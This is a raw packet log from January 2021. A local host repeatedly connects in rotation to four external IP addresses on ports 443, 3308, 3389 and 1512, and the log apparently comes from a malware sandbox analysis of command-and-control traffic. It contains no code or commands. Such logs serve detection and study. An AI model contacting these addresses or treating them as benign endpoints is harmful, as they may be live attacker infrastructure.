Jan 11, 2021 20:49:19.095263958 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:19.213947058 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:19.214009047 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:19.214082003 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:19.214119911 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:19.219624996 CET	49341	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:19.271512032 CET	443	49341	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:19.329597950 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.372986078 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.373110056 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.374897957 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.418107986 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.428814888 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.428858995 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.428941011 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.428992987 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.445858002 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.490983009 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.491168022 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.501307011 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.501604080 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.544852972 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.545208931 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.583863974 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.588408947 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.588447094 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.700942039 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.700992107 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.701308012 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.706859112 CET	49342	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:19.750143051 CET	3308	49342	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:19.828641891 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:19.882946968 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:19.883095980 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:19.884588003 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:19.938699007 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:19.962769032 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:19.962837934 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:19.962888956 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:19.962917089 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:19.976816893 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.040965080 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.041311979 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.050551891 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.050689936 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.104911089 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.105330944 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.144280910 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.159399986 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.159440041 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.249727964 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.249870062 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.249962091 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.250015974 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.255547047 CET	49343	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:20.309833050 CET	3389	49343	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:20.370621920 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.423808098 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.423911095 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.424952984 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.477813005 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.485008955 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.485042095 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.485069036 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.485104084 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.492714882 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.546986103 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.547318935 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.557661057 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.557924032 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.610877991 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.611193895 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.647685051 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.664216995 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.764472961 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.764525890 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.764733076 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.770392895 CET	49344	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:20.823427916 CET	1512	49344	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:20.902807951 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:20.955796957 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:20.956537962 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:20.958358049 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.010071039 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.025764942 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.025906086 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.044168949 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.098331928 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.098505974 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.108321905 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.108624935 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.160523891 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.160830975 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.212522984 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.332175970 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.332225084 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.332375050 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.336658001 CET	49345	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:21.388343096 CET	443	49345	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:21.451502085 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.494872093 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.495065928 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.496511936 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.539956093 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.550931931 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.550976038 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.551055908 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.567656994 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.612616062 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.612911940 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.623096943 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.623366117 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.666435003 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.666685104 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.706101894 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.709892035 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.709933043 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.824004889 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.824065924 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.824244976 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.829864025 CET	49346	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:21.873167992 CET	3308	49346	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:21.950268984 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.004091024 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.004244089 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.006167889 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.060259104 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.094290018 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.094336987 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.094484091 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.094540119 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.107717037 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.168695927 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.169035912 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.179003954 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.179191113 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.233223915 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.233591080 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.273288965 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.287755966 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.287801027 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.377929926 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.377975941 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.378262997 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.378323078 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.383939028 CET	49347	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:22.437683105 CET	3389	49347	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:22.496556997 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.549886942 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.550033092 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.551541090 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.604572058 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.611440897 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.611480951 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.611576080 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.611628056 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.626281023 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.680742979 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.680885077 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.684747934 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.684847116 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.738010883 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.738214016 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.775827885 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.791229010 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.888354063 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.888392925 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:22.888753891 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.894746065 CET	49348	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:22.947654009 CET	1512	49348	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:23.011787891 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.064019918 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.064261913 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.065743923 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.117536068 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.132543087 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.132661104 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.150791883 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.205333948 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.205730915 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.215867043 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.216131926 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.268315077 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.268615007 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.320774078 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.439048052 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.439094067 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.439434052 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.445648909 CET	49349	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:23.497637033 CET	443	49349	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:23.558056116 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.601377010 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.601476908 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.602977991 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.645939112 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.657511950 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.657552958 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.657601118 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.657634974 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.673022985 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.718055964 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.718341112 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.728558064 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.728882074 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.772217989 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.772320986 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.812504053 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.815627098 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.815665960 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.929122925 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.929167986 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:23.929366112 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.934850931 CET	49350	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:23.978266001 CET	3308	49350	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:24.057626963 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.112205029 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.112339020 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.113848925 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.167696953 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.190172911 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.190215111 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.190447092 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.204447985 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.265475035 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.265686989 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.275357008 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.275439978 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.329294920 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.329433918 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.369024038 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.383248091 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.383289099 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.473964930 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.474016905 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.474241972 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.479836941 CET	49351	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:24.533943892 CET	3389	49351	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:24.603051901 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.656244993 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.656486034 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.667081118 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.720367908 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.727050066 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.727087021 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.727217913 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.727277040 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.745577097 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.799989939 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.800251961 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.809729099 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.809956074 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.863050938 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.863313913 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:24.899847031 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.916436911 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:24.916533947 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:25.013994932 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:25.014065027 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:25.014156103 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:25.014214039 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:25.016320944 CET	49352	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:25.069500923 CET	1512	49352	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:25.133066893 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.185406923 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.185616970 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.186918020 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.238949060 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.253665924 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.253953934 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.268522024 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.322906971 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.323266029 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.332411051 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.332528114 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.384355068 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.384622097 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.423373938 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.436517954 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.436533928 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.554461002 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.554517031 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.554626942 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.554685116 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.560467005 CET	49353	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:25.612504005 CET	443	49353	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:25.679151058 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.722465992 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.722624063 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.724186897 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.767445087 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.778099060 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.778146982 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.778187037 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.778225899 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.794575930 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.839559078 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.839648962 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.850562096 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.850979090 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.894170046 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.894392967 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:25.935322046 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.937585115 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:25.937597036 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:26.050549984 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:26.050595045 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:26.050873041 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:26.056405067 CET	49354	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:26.099797010 CET	3308	49354	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:26.182008028 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.236193895 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.236417055 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.237549067 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.291847944 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.317167044 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.317193031 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.317325115 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.326893091 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.390011072 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.390110016 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.395909071 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.395975113 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.449745893 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.450016975 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.490555048 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.507368088 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.507409096 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.594595909 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.594644070 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.594815969 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.600409031 CET	49355	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:26.654489040 CET	3389	49355	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:26.709043026 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.762072086 CET	1512	49356	46.105.131.65	192.168.2.22
